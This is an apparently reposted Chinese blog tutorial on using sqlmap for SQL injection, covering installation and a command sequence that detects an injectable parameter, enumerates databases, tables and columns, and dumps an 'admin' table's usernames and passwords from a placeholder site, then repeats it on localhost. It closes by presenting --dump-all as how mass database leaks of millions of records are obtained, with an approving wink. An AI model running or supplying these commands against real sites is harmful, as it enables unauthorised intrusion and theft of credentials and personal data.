1. 程式人生 > >SQL注入神器-sqlmap

SQL注入神器-sqlmap

 正是SQLMAP這種神器的存在,SQL注入簡直Easy到根本停不下來....

    PS:國內類似軟體也有阿D,明小子,挖掘機,當你用過他們之後你才會發現SQLMap才是絕對的注入神器

0x 01 注入原理

*****************************************開始分割線*****************************************

    時間原因,這段內容就先不寫了

    就是因為太重要了所以要整理好在寫上哈

    雖然事實上是我現在還沒搞太明白我會亂說 :)

*****************************************結束分割線*****************************************

0x 02 安裝SQLMap

  1. 安裝python 

    官網https://www.python.org/ 選擇最新版本下載安裝即可

    因為SQLMap使用Python寫的 ,所以沒有Python的環境SQLMap無法執行

  2. 安裝SQLMap

    官網 http://sqlmap.org/ 選擇最近版本安裝即可

  3. 設定環境變數

    為了使用便利,將SQLMAP的安裝目錄新增到系統環境變數中

    之後在CMD中就可以直接使用SQLMap了

    不設定環境變數的話,要把CMD的當前目錄切換到SQLMap安裝目錄才可以使用

0x 03 SQLMap常用命令介紹

  1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" 

  

    判斷id引數是否存在注入:結果中包含 “id” is Vulnerable  欄位表示存在注入

    存在注入,下面的步驟才可以執行成功~

  2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"  --dbs

    列舉能列出的所有資料庫名

  3.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db

    列出當前使用的資料庫名,假設列出“sqltest”資料庫  

  4.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1"  --is-dba

    判斷該注入點是否有管理員許可權:返回true  表示是管理員

  5.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables

    獲取sqltest中的所有表,假設有"admin"表

  6.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns

    列舉表admin的欄位(列名),假設存在"username","password"欄位

  7.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump

    下載欄位username,password的值,若詢問是否破解md5加密,選擇no即可

    至此,對一個簡單的注入點(GET方式),現在就已經得到了我們想要的資料

    想看工具的注入過程 使用-v引數

    -level 會提高注入等級(預設0 只會判斷get,post引數是否有注入點)

    若注入點是POST方式,或是注入點才Cookie,User-Agent中,可以利用-Date 引數 -Cookie引數指定

    當然用buip Suite架個代理,擷取資料包,直接 -r 引數引入資料包也可以完成上述的注入情況的~

0x 04 注入Demo

    本次演示使用Apache+Php +Mysql 環境,其他環境的話

    使用SQLMap輸入還是相同的命令,這點SQLMap做的好方便

       

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --dbs 列所有資料庫名

     

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --current-db 列出當前資料庫

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --is-dba   判斷注入點是否有管理員許可權

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --tables  猜表名

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" --columns  猜欄位名

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" -C "id,name" --dump 猜id和name的值

    

    網路上流傳的脫褲 用的可就是下面的一句話

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --dump-all

    突然發現 強大的東西往往僅僅是一句話 ! !

    這條命令會直接把test資料庫中所有的表全部下載到安裝目錄output資料夾中

    然後就有了  2000W  xxx 800W xxx ....................你懂得